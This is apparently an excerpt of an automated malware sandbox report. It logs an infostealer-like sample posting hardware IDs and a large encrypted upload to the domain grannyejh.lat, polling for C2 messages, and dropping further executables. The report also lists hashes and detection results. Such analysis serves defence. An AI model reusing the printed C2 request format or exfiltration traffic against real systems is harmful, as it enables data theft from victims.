2024-12-19 07:46:11 UTC	4626	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 Data Ascii: +?2+?2+?o?Mp5p_
2024-12-19 07:46:12 UTC	1119	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n6tu5gk24lk071johvavg42dcn; expires=Mon, 14 Apr 2025 01:32:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YWexFiob%2FzpBWrVcsm9w8D3RRvmKu51dMU1OtFMhrmu%2BVBFiMYCis2VJwJtfnRJedWYKOEBGxZ0ndYin6PVcdQMKAFtlF9VyW3FaF4HJEyspJ99vigtx51bvhrl5VeNQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c7075d4e42e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1581&rtt_var=616&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2830&recv_bytes=20915&delivery_rate=1743283&cwnd=241&unsent_bytes=0&cid=f67eae1135e5f0a0&ts=855&x=0"
2024-12-19 07:46:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:46:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49736	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:14 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YKQL68E2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1190 Host: grannyejh.lat
2024-12-19 07:46:14 UTC	1190	OUT	Data Raw: 2d 2d 59 4b 51 4c 36 38 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 4b 51 4c 36 38 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 4b 51 4c 36 38 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 4b 51 4c 36 38 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --YKQL68E2Content-Disposition: form-data; name="hwid"483FA18927AB4DD4AC8923850305D13E--YKQL68E2Content-Disposition: form-data; name="pid"1--YKQL68E2Content-Disposition: form-data; name="lid"PsFKDg--pablo--YKQL68E2Content-Disposit
2024-12-19 07:46:14 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d37ncim8ui6cmdr3gqk2oaga9t; expires=Mon, 14 Apr 2025 01:32:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ejTQkomsnKvkzEFuLWVPjA8mif48Z%2Fy9p8nyg4AnMo5PLWTIiSUKy70SayQUgegZ0E%2FLJa%2FyV4oOyw64c7qigAjIeGiQ5OKd6SRmVyPv%2FDBoA%2BNAp2ZQfx9bFWHMkJz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c71789e078d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1835&min_rtt=1835&rtt_var=688&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2094&delivery_rate=1589548&cwnd=32&unsent_bytes=0&cid=74f03a524ec9dcb5&ts=821&x=0"
2024-12-19 07:46:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:46:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49745	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:16 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YL9BDK9YM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552529 Host: grannyejh.lat
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 2d 2d 59 4c 39 42 44 4b 39 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 4c 39 42 44 4b 39 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 4c 39 42 44 4b 39 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 4c 39 42 44 4b 39 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --YL9BDK9YMContent-Disposition: form-data; name="hwid"483FA18927AB4DD4AC8923850305D13E--YL9BDK9YMContent-Disposition: form-data; name="pid"1--YL9BDK9YMContent-Disposition: form-data; name="lid"PsFKDg--pablo--YL9BDK9YMContent-Disp
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 29 b4 bb ff dd 71 46 12 fa ca 7d 8e b3 de db a1 d7 52 0b 83 05 c5 ff 77 fb e4 c2 15 e6 c4 61 65 29 13 90 9c b2 be c2 c5 0b 98 ca 82 23 2c da Data Ascii: ~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`)qF}Rwae)#,
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 9a 86 3d 58 6a 68 51 71 d5 06 bf 2a 7f af 2f 41 e4 1e 4c 45 52 58 07 d0 c3 2d 70 15 b8 fd 8b a6 7d 13 a1 22 31 46 03 80 87 84 7a b8 c0 c6 3b Data Ascii: <@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d=XjhQq*/ALERX-p}"1Fz;
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca 25 58 8a 22 7b d6 1a 1e 11 2f 4c 72 df 69 4d ba 6b 10 24 df b6 d5 db b7 ad f3 b7 51 a8 fb 59 6f 8b 29 03 62 48 fa 19 bf 69 fc b8 25 1f fe 10 Data Ascii: 7@KL-p3?%]Bq6}',V2dhV*@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k%X"{/LriMk$QYo)bHi%
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 40 f0 c0 d9 19 d8 ef 4e 7f 09 c7 3c a7 6a 42 78 0a 46 94 c0 bd 49 42 1a 04 f4 bf 87 bb 9e ce 3a 23 79 d0 a4 07 ed 52 e5 53 ab 8b 30 6d ed cd 81 33 f2 8d 79 af e7 e9 8f 3a 94 ac c6 32 ef c6 7b 0c 33 50 ae Data Ascii: 37HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj@N<jBxFIB:#yRS0m3y:2{3P
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc 0f 8c ca c1 91 8a a4 33 00 99 e0 15 17 03 b9 dc ab 7e 63 63 1f 48 57 89 a4 13 14 8a 1c b2 0b 3b 2e 0a 62 0e ed b6 c2 93 11 8a 4a b5 d3 b0 5e 45 7d a3 d6 74 90 a2 67 ca 1b eb 9c aa 09 8e 4a 87 c0 eb 4d 35 Data Ascii: @uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}3~ccHW;.bJ^E}tgJM5
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 a7 96 34 9b 5b 11 82 cf 97 45 a3 0b b9 32 17 e2 06 d4 d3 b0 0c 02 c2 ad 2b a8 cc 8b 26 e7 18 6a 80 4a 64 cc a0 8b 1f 39 cb f0 ee 1b 3c 57 98 84 42 9a ef ee 53 42 ff f6 c4 9b 11 ca 39 e5 c7 6c 89 2b 4f fc Data Ascii: LHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,4[E2+&jJd9<WBSB9l+O
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 b2 94 cc 21 6a e6 3a b5 4d bc c6 07 ed 03 44 44 a0 8b b8 7c e4 94 52 7b 2a b6 77 55 b6 3f 62 bb ec 41 c0 e2 c4 2e fa 69 24 13 c5 18 b9 a6 b1 5f 82 f8 fd b9 75 de 89 42 d5 60 a5 16 fe aa aa 6b c6 84 43 68 Data Ascii: }ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5!j:MDD\|R{*wU?bA.i$_uB`kCh
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 89 60 f4 ff 36 80 ad 5b b3 7a e5 40 fb 83 ca 13 ff 5c 52 91 dc a4 f9 c2 16 f5 4e c8 f0 fa 25 55 5d 0c b3 d8 8a ae c5 06 2c 56 d6 cd f7 d8 10 ea e0 06 01 b7 68 28 06 87 12 db 42 b5 7f a4 a1 95 a4 37 69 7e Data Ascii: EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U`6[z@\RN%U],Vh(B7i~
2024-12-19 07:46:16 UTC	15331	OUT	Data Raw: 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b 1d d4 34 a5 94 7f ad b6 0d 54 06 f2 c7 cc 33 dd c2 fb 7c 90 2d b5 65 68 6c df 3f d4 ac fd b1 3f 49 8d 21 2b e9 11 89 b4 d6 fd 61 01 3b dc 61 8a 8a cc 0b 17 7b b5 f0 c0 c9 5b 6b 21 a3 3c cd ba ef e1 31 e1 Data Ascii: 0*u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m4T3\|-ehl??I!+a;a{[k!<1
2024-12-19 07:46:19 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ra3rlspj33oii8p5jrj4otd0io; expires=Mon, 14 Apr 2025 01:32:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8YOCp7WPO9n4EJTLSeDZTF0GmSX6%2FHSZ8JlLj3zztnPsQYpwD00QFguWEIh98lpH3CSjdjOTXrEgNZvpq98s3WacxLX3Cl5m%2BNoOAifHcGeSKVs1C4uZuY6lKhXEcXP3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c727ab3841f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1565&rtt_var=597&sent=333&recv=574&lost=0&retrans=0&sent_bytes=2830&recv_bytes=555020&delivery_rate=1818181&cwnd=211&unsent_bytes=0&cid=32ef697b085f00f3&ts=2453&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49757	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:20 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-19 07:46:20 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=483FA18927AB4DD4AC8923850305D13E
2024-12-19 07:46:21 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m5dq40qdekkgpj925685glrid9; expires=Mon, 14 Apr 2025 01:32:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y8L%2F9t%2BIIc7i5lxTT5pr3Sx4%2BZL%2BUt8TL32RSNmqr07UqX9%2BQ%2Bm5GDhxTLlZyiSlZGO7hFmFen0O1Aj%2B6fiL8Gff8jNaGHLuUGjPsChfYQ7lGl%2FRQOc6arBpiuRnLjE9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c73f2a094391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1572&rtt_var=602&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=979&delivery_rate=1800246&cwnd=237&unsent_bytes=0&cid=6c712bf5d0403424&ts=870&x=0"
2024-12-19 07:46:21 UTC	214	IN	Data Raw: 64 30 0d 0a 76 36 41 6b 65 71 79 64 6d 65 6d 70 4c 67 36 76 69 36 6c 52 55 76 70 32 42 5a 79 4d 70 6d 6b 30 55 30 66 48 51 4f 5a 67 55 4c 72 6b 32 77 59 50 6a 71 65 37 67 64 31 61 66 70 58 58 68 67 31 39 79 30 34 77 73 72 36 58 58 42 70 69 64 76 52 75 31 31 59 4d 6c 64 44 47 51 69 61 44 2b 66 79 50 68 30 74 32 79 71 6d 46 63 7a 53 4f 56 44 2b 73 6f 49 51 4d 46 6d 6c 33 75 6d 79 64 51 69 57 59 68 59 4a 4d 44 74 6a 74 6f 37 57 47 63 69 47 65 73 35 78 2f 59 4d 74 44 4b 36 32 39 6c 55 63 46 5a 52 76 6f 4d 35 49 46 4d 64 66 6a 6a 31 59 62 77 76 6e 32 68 49 64 4c 64 73 71 70 68 58 4d 30 6a 6c 51 2f 72 4b 43 45 44 42 5a 70 64 37 6f 64 0d 0a Data Ascii: d0v6AkeqydmempLg6vi6lRUvp2BZyMpmk0U0fHQOZgULrk2wYPjqe7gd1afpXXhg19y04wsr6XXBpidvRu11YMldDGQiaD+fyPh0t2yqmFczSOVD+soIQMFml3umydQiWYhYJMDtjto7WGciGes5x/YMtDK629lUcFZRvoM5IFMdfjj1Ybwvn2hIdLdsqphXM0jlQ/rKCEDBZpd7od
2024-12-19 07:46:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:45:57
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\MFQbv2Yuzv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MFQbv2Yuzv.exe"
Imagebase:	0xb80000
File size:	1'821'184 bytes
MD5 hash:	81CFBDCD567C50D28A6380910DD6CF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:46:25
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe"
Imagebase:	0xc80000
File size:	1'719'808 bytes
MD5 hash:	44C034B1AD003CD71788ED1DDE918242
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:46:32
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe"
Imagebase:	0x570000
File size:	2'856'960 bytes
MD5 hash:	54FDA3AEEC860324D9E721BF82B9B350
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
